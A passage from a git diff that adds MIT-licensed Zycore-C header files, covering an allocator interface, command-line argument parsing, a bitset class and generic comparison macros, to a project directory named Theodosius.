ZyanThreadTlsGetValue(ZyanThreadTlsIndex index, void** data); + +/** + * Set the value of the given Thread Local Storage (TLS) slot for the calling thread. + * + * @param index The TLS slot index. + * @param data The value to store inside the given Thread Local Storage (TLS) slot for the + * calling thread + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanThreadTlsSetValue(ZyanThreadTlsIndex index, void* data); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYAN_NO_LIBC */ + +#endif /* ZYCORE_API_THREAD_H */ diff --git a/Theodosius/Zycore/Allocator.h b/Theodosius/Zycore/Allocator.h new file mode 100644 index 0000000..6435171 --- /dev/null +++ b/Theodosius/Zycore/Allocator.h @@ -0,0 +1,143 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYCORE_ALLOCATOR_H +#define ZYCORE_ALLOCATOR_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +struct ZyanAllocator_; + +/** + * Defines the `ZyanAllocatorAllocate` function prototype. + * + * @param allocator A pointer to the `ZyanAllocator` instance. + * @param p Receives a pointer to the first memory block sufficient to hold an + * array of `n` elements with a size of `element_size`. + * @param element_size The size of a single element. + * @param n The number of elements to allocate storage for. + * + * @return A zyan status code. + * + * This prototype is used for the `allocate()` and `reallocate()` functions. + * + * The result of the `reallocate()` function is undefined, if `p` does not point to a memory block + * previously obtained by `(re-)allocate()`. + */ +typedef ZyanStatus (*ZyanAllocatorAllocate)(struct ZyanAllocator_* allocator, void** p, + ZyanUSize element_size, ZyanUSize n); + +/** + * Defines the `ZyanAllocatorDeallocate` function prototype. + * + * @param allocator A pointer to the `ZyanAllocator` instance. + * @param p The pointer obtained from `(re-)allocate()`. + * @param element_size The size of a single element. + * @param n The number of elements earlier passed to `(re-)allocate()`. + * + * @return A zyan status code. + */ +typedef ZyanStatus (*ZyanAllocatorDeallocate)(struct ZyanAllocator_* allocator, void* p, + ZyanUSize element_size, ZyanUSize n); + +/** + * Defines the `ZyanAllocator` struct. + * + * This is the base class for all custom allocator implementations. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanAllocator_ +{ + /** + * The allocate function. + */ + ZyanAllocatorAllocate allocate; + /** + * The reallocate function. + */ + ZyanAllocatorAllocate reallocate; + /** + * The deallocate function. + */ + ZyanAllocatorDeallocate deallocate; +} ZyanAllocator; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * Initializes the given `ZyanAllocator` instance. + * + * @param allocator A pointer to the `ZyanAllocator` instance. + * @param allocate The allocate function. + * @param reallocate The reallocate function. + * @param deallocate The deallocate function. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanAllocatorInit(ZyanAllocator* allocator, ZyanAllocatorAllocate allocate, + ZyanAllocatorAllocate reallocate, ZyanAllocatorDeallocate deallocate); + +#ifndef ZYAN_NO_LIBC + +/** + * Returns the default `ZyanAllocator` instance. + * + * @return A pointer to the default `ZyanAllocator` instance. + * + * The default allocator uses the default memory manager to allocate memory on the heap. + * + * You should in no case modify the returned allocator instance to avoid unexpected behavior. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanAllocator* ZyanAllocatorDefault(void); + +#endif // ZYAN_NO_LIBC + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_ALLOCATOR_H */ diff --git a/Theodosius/Zycore/ArgParse.h b/Theodosius/Zycore/ArgParse.h new file mode 100644 index 0000000..5d389cb --- /dev/null +++ b/Theodosius/Zycore/ArgParse.h @@ -0,0 +1,173 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements command-line argument parsing. + */ + +#ifndef ZYCORE_ARGPARSE_H +#define ZYCORE_ARGPARSE_H + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Structs and other types */ +/* ============================================================================================== */ + +/** + * Definition of a single argument. + */ +typedef struct ZyanArgParseDefinition_ +{ + /** + * The argument name, e.g. `--help`. + * + * Must start with either one or two dashes. Single dash arguments must consist of a single + * character, (e.g. `-n`), double-dash arguments can be of arbitrary length. + */ + const char* name; + /** + * Whether the argument is boolean or expects a value. + */ + ZyanBool boolean; + /** + * Whether this argument is required (error if missing). + */ + ZyanBool required; +} ZyanArgParseDefinition; + +/** + * Configuration for argument parsing. + */ +typedef struct ZyanArgParseConfig_ +{ + /** + * `argv` argument passed to `main` by LibC. + */ + const char** argv; + /** + * `argc` argument passed to `main` by LibC. + */ + ZyanUSize argc; + /** + * Minimum # of accepted unnamed / anonymous arguments. + */ + ZyanUSize min_unnamed_args; + /** + * Maximum # of accepted unnamed / anonymous arguments. + */ + ZyanUSize max_unnamed_args; + /** + * Argument definition array, or `ZYAN_NULL`. + * + * Expects a pointer to an array of `ZyanArgParseDefinition` instances. The array is + * terminated by setting the `.name` field of the last element to `ZYAN_NULL`. If no named + * arguments should be parsed, you can also set this to `ZYAN_NULL`. + */ + ZyanArgParseDefinition* args; +} ZyanArgParseConfig; + +/** + * Information about a parsed argument. + */ +typedef struct ZyanArgParseArg_ +{ + /** + * Corresponding argument definition, or `ZYAN_NULL` for unnamed args. + * + * This pointer is borrowed from the `cfg` pointer passed to `ZyanArgParse`. + */ + const ZyanArgParseDefinition* def; + /** + * Whether the argument has a value (is non-boolean). + */ + ZyanBool has_value; + /** + * If `has_value == true`, then the argument value. + * + * This is a view into the `argv` string array passed to `ZyanArgParse` via the `cfg` argument. + */ + ZyanStringView value; +} ZyanArgParseArg; + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +#ifndef ZYAN_NO_LIBC + +/** + * Parse arguments according to a `ZyanArgParseConfig` definition. + * + * @param cfg Argument parser config to use. + * @param parsed Receives the parsed output. Vector of `ZyanArgParseArg`. Ownership is + * transferred to the user. Input is expected to be uninitialized. On error, + * the vector remains uninitialized. + * @param error_token On error, if it makes sense, receives the argument fragment causing the + * error. Optional, may be `ZYAN_NULL`. The pointer borrows into the `cfg` + * struct and doesn't have to be freed by the user. + * + * @return A `ZyanStatus` status determining whether the parsing succeeded. + */ +ZYCORE_EXPORT ZyanStatus ZyanArgParse(const ZyanArgParseConfig *cfg, ZyanVector* parsed, + const char** error_token); + +#endif + +/** + * Parse arguments according to a `ZyanArgParseConfig` definition. + * + * This version allows specification of a custom memory allocator and thus supports no-libc. + * + * @param cfg Argument parser config to use. + * @param parsed Receives the parsed output. Vector of `ZyanArgParseArg`. Ownership is + * transferred to the user. Input is expected to be uninitialized. On error, + * the vector remains uninitialized. + * @param error_token On error, if it makes sense, receives the argument fragment causing the + * error. Optional, may be `ZYAN_NULL`. The pointer borrows into the `cfg` + * struct and doesn't have to be freed by the user. + * @param allocator The `ZyanAllocator` to be used for allocating the output vector's data. + * + * @return A `ZyanStatus` status determining whether the parsing succeeded. + */ +ZYCORE_EXPORT ZyanStatus ZyanArgParseEx(const ZyanArgParseConfig *cfg, ZyanVector* parsed, + const char** error_token, ZyanAllocator* allocator); + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_ARGPARSE_H */ diff --git a/Theodosius/Zycore/Bitset.h b/Theodosius/Zycore/Bitset.h new file mode 100644 index 0000000..8c7eb1f --- /dev/null +++ b/Theodosius/Zycore/Bitset.h @@ -0,0 +1,484 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements the bitset class. + */ + +#ifndef ZYCORE_BITSET_H +#define ZYCORE_BITSET_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanVector` struct. + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanBitset_ +{ + /** + * The bitset size. + */ + ZyanUSize size; + /** + * The bitset data. + */ + ZyanVector bits; +} ZyanBitset; + +/** + * Defines the `ZyanBitsetByteOperation` function prototype. + * + * @param v1 A pointer to the first byte. This value receives the result after performing the + * desired operation. + * @param v2 A pointer to the second byte. + * + * @return A zyan status code. + * + * This function is used to perform byte-wise operations on two `ZyanBitset` instances. + */ +typedef ZyanStatus (*ZyanBitsetByteOperation)(ZyanU8* v1, const ZyanU8* v2); + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constructor and destructor */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param count The initial amount of bits. + * + * @return A zyan status code. + * + * The space for the bitset is dynamically allocated by the default allocator using the default + * growth factor of `2.0f` and the default shrink threshold of `0.5f`. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanBitsetInit(ZyanBitset* bitset, ZyanUSize count); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanBitset` instance and sets a custom `allocator` and memory + * allocation/deallocation parameters. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param count The initial amount of bits. + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetInitEx(ZyanBitset* bitset, ZyanUSize count, + ZyanAllocator* allocator, float growth_factor, float shrink_threshold); + +/** + * Initializes the given `ZyanBitset` instance and configures it to use a custom user + * defined buffer with a fixed size. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param count The initial amount of bits. + * @param buffer A pointer to the buffer that is used as storage for the bits. + * @param capacity The maximum capacity (number of bytes) of the buffer. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetInitBuffer(ZyanBitset* bitset, ZyanUSize count, void* buffer, + ZyanUSize capacity); + +/** + * Destroys the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetDestroy(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ +/* Logical operations */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Performs a byte-wise `operation` for every byte in the given `ZyanBitset` instances. + * + * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and + * as the destination. + * @param source A pointer to the `ZyanBitset` instance that is used as the second input. + * @param operation A pointer to the function that performs the desired operation. + * + * @return A zyan status code. + * + * The `operation` callback is invoked once for every byte in the smallest of the `ZyanBitset` + * instances. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetPerformByteOperation(ZyanBitset* destination, + const ZyanBitset* source, ZyanBitsetByteOperation operation); + +/** + * Performs a logical `AND` operation on the given `ZyanBitset` instances. + * + * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and + * as the destination. + * @param source A pointer to the `ZyanBitset` instance that is used as the second input. + * + * @return A zyan status code. + * + * If the destination bitmask contains more bits than the source one, the state of the remaining + * bits will be undefined. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetAND(ZyanBitset* destination, const ZyanBitset* source); + +/** + * Performs a logical `OR` operation on the given `ZyanBitset` instances. + * + * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and + * as the destination. + * @param source A pointer to the `ZyanBitset` instance that is used as the second input. + * + * @return A zyan status code. + * + * If the destination bitmask contains more bits than the source one, the state of the remaining + * bits will be undefined. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetOR (ZyanBitset* destination, const ZyanBitset* source); + +/** + * Performs a logical `XOR` operation on the given `ZyanBitset` instances. + * + * @param destination A pointer to the `ZyanBitset` instance that is used as the first input and + * as the destination. + * @param source A pointer to the `ZyanBitset` instance that is used as the second input. + * + * @return A zyan status code. + * + * If the destination bitmask contains more bits than the source one, the state of the remaining + * bits will be undefined. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetXOR(ZyanBitset* destination, const ZyanBitset* source); + +/** + * Flips all bits of the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetFlip(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ +/* Bit access */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Sets the bit at `index` of the given `ZyanBitset` instance to `1`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param index The bit index. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetSet(ZyanBitset* bitset, ZyanUSize index); + +/** + * Sets the bit at `index` of the given `ZyanBitset` instance to `0`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param index The bit index. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetReset(ZyanBitset* bitset, ZyanUSize index); + +/** + * Sets the bit at `index` of the given `ZyanBitset` instance to the specified `value`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param index The bit index. + * @param value The new value. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetAssign(ZyanBitset* bitset, ZyanUSize index, ZyanBool value); + +/** + * Toggles the bit at `index` of the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param index The bit index. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetToggle(ZyanBitset* bitset, ZyanUSize index); + +/** + * Returns the value of the bit at `index`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param index The bit index. + * + * @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not, Another zyan + * status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetTest(ZyanBitset* bitset, ZyanUSize index); + +/** + * Returns the value of the most significant bit. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not. Another zyan + * status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetTestMSB(ZyanBitset* bitset); + +/** + * Returns the value of the least significant bit. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return `ZYAN_STATUS_TRUE`, if the bit is set or `ZYAN_STATUS_FALSE`, if not. Another zyan + * status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetTestLSB(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Sets all bits of the given `ZyanBitset` instance to `1`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetSetAll(ZyanBitset* bitset); + +/** + * Sets all bits of the given `ZyanBitset` instance to `0`. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetResetAll(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ +/* Size management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Adds a new bit at the end of the bitset. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param value The value of the new bit. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetPush(ZyanBitset* bitset, ZyanBool value); + +/** + * Removes the last bit of the bitset. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetPop(ZyanBitset* bitset); + +/** + * Deletes all bits of the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetClear(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ +/* Memory management */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Changes the capacity of the given `ZyanBitset` instance. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param count The new capacity (number of bits). + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetReserve(ZyanBitset* bitset, ZyanUSize count); + +/** + * Shrinks the capacity of the given bitset to match it's size. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetShrinkToFit(ZyanBitset* bitset); + +/* ---------------------------------------------------------------------------------------------- */ +/* Information */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the current size of the bitset in bits. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param size Receives the size of the bitset in bits. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetGetSize(const ZyanBitset* bitset, ZyanUSize* size); + +/** + * Returns the current capacity of the bitset in bits. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param capacity Receives the size of the bitset in bits. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetGetCapacity(const ZyanBitset* bitset, ZyanUSize* capacity); + +/** + * Returns the current size of the bitset in bytes. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param size Receives the size of the bitset in bytes. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetGetSizeBytes(const ZyanBitset* bitset, ZyanUSize* size); + +/** + * Returns the current capacity of the bitset in bytes. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param capacity Receives the size of the bitset in bytes. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetGetCapacityBytes(const ZyanBitset* bitset, ZyanUSize* capacity); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the amount of bits set in the given bitset. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * @param count Receives the amount of bits set in the given bitset. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetCount(const ZyanBitset* bitset, ZyanUSize* count); + +/** + * Checks, if all bits of the given bitset are set. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return `ZYAN_STATUS_TRUE`, if all bits are set, `ZYAN_STATUS_FALSE`, if not. Another zyan + * status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetAll(const ZyanBitset* bitset); + +/** + * Checks, if at least one bit of the given bitset is set. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return `ZYAN_STATUS_TRUE`, if at least one bit is set, `ZYAN_STATUS_FALSE`, if not. Another + * zyan status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetAny(const ZyanBitset* bitset); + +/** + * Checks, if none bits of the given bitset are set. + * + * @param bitset A pointer to the `ZyanBitset` instance. + * + * @return `ZYAN_STATUS_TRUE`, if none bits are set, `ZYAN_STATUS_FALSE`, if not. Another zyan + * status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanBitsetNone(const ZyanBitset* bitset); + +///* ---------------------------------------------------------------------------------------------- */ +// +///** +// * Returns a 32-bit unsigned integer representation of the data. +// * +// * @param bitset A pointer to the `ZyanBitset` instance. +// * @param value Receives the 32-bit unsigned integer representation of the data. +// * +// * @return A zyan status code. +// */ +//ZYCORE_EXPORT ZyanStatus ZyanBitsetToU32(const ZyanBitset* bitset, ZyanU32* value); +// +///** +// * Returns a 64-bit unsigned integer representation of the data. +// * +// * @param bitset A pointer to the `ZyanBitset` instance. +// * @param value Receives the 64-bit unsigned integer representation of the data. +// * +// * @return A zyan status code. +// */ +//ZYCORE_EXPORT ZyanStatus ZyanBitsetToU64(const ZyanBitset* bitset, ZyanU64* value); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_BITSET_H */ diff --git a/Theodosius/Zycore/Comparison.h b/Theodosius/Zycore/Comparison.h new file mode 100644 index 0000000..6d8b518 --- /dev/null +++ b/Theodosius/Zycore/Comparison.h @@ -0,0 +1,316 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Defines prototypes of general-purpose comparison functions. + */ + +#ifndef ZYCORE_COMPARISON_H +#define ZYCORE_COMPARISON_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/** + * Defines the `ZyanEqualityComparison` function prototype. + * + * @param left A pointer to the first element. + * @param right A pointer to the second element. + * + * @return This function should return `ZYAN_TRUE` if the `left` element equals the `right` one + * or `ZYAN_FALSE`, if not. + */ +typedef ZyanBool (*ZyanEqualityComparison)(const void* left, const void* right); + +/** + * Defines the `ZyanComparison` function prototype. + * + * @param left A pointer to the first element. + * @param right A pointer to the second element. + * + * @return This function should return values in the following range: + * `left == right -> result == 0` + * `left < right -> result < 0` + * `left > right -> result > 0` + */ +typedef ZyanI32 (*ZyanComparison)(const void* left, const void* right); + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Equality comparison functions */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Declares a generic equality comparison function for an integral data-type. + * + * @param name The name of the function. + * @param type The name of the integral data-type. + */ +#define ZYAN_DECLARE_EQUALITY_COMPARISON(name, type) \ + ZyanBool name(const type* left, const type* right) \ + { \ + ZYAN_ASSERT(left); \ + ZYAN_ASSERT(right); \ + \ + return (*left == *right) ? ZYAN_TRUE : ZYAN_FALSE; \ + } + +/** + * Declares a generic equality comparison function that compares a single integral + * data-type field of a struct. + * + * @param name The name of the function. + * @param type The name of the integral data-type. + * @param field_name The name of the struct field. + */ +#define ZYAN_DECLARE_EQUALITY_COMPARISON_FOR_FIELD(name, type, field_name) \ + ZyanBool name(const type* left, const type* right) \ + { \ + ZYAN_ASSERT(left); \ + ZYAN_ASSERT(right); \ + \ + return (left->field_name == right->field_name) ? ZYAN_TRUE : ZYAN_FALSE; \ + } + +/* ---------------------------------------------------------------------------------------------- */ +/* Comparison functions */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Declares a generic comparison function for an integral data-type. + * + * @param name The name of the function. + * @param type The name of the integral data-type. + */ +#define ZYAN_DECLARE_COMPARISON(name, type) \ + ZyanI32 name(const type* left, const type* right) \ + { \ + ZYAN_ASSERT(left); \ + ZYAN_ASSERT(right); \ + \ + if (*left < *right) \ + { \ + return -1; \ + } \ + if (*left > *right) \ + { \ + return 1; \ + } \ + return 0; \ + } + +/** + * Declares a generic comparison function that compares a single integral data-type field + * of a struct. + * + * @param name The name of the function. + * @param type The name of the integral data-type. + * @param field_name The name of the struct field. + */ +#define ZYAN_DECLARE_COMPARISON_FOR_FIELD(name, type, field_name) \ + ZyanI32 name(const type* left, const type* right) \ + { \ + ZYAN_ASSERT(left); \ + ZYAN_ASSERT(right); \ + \ + if (left->field_name < right->field_name) \ + { \ + return -1; \ + } \ + if (left->field_name > right->field_name) \ + { \ + return 1; \ + } \ + return 0; \ + } + + /* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Default equality comparison functions */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines a default equality comparison function for pointer values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsPointer, void* const) + +/** + * Defines a default equality comparison function for `ZyanBool` values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsBool, ZyanBool) + +/** + * Defines a default equality comparison function for 8-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric8, ZyanU8) + +/** + * Defines a default equality comparison function for 16-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric16, ZyanU16) + +/** + * Defines a default equality comparison function for 32-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric32, ZyanU32) + +/** + * Defines a default equality comparison function for 64-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A 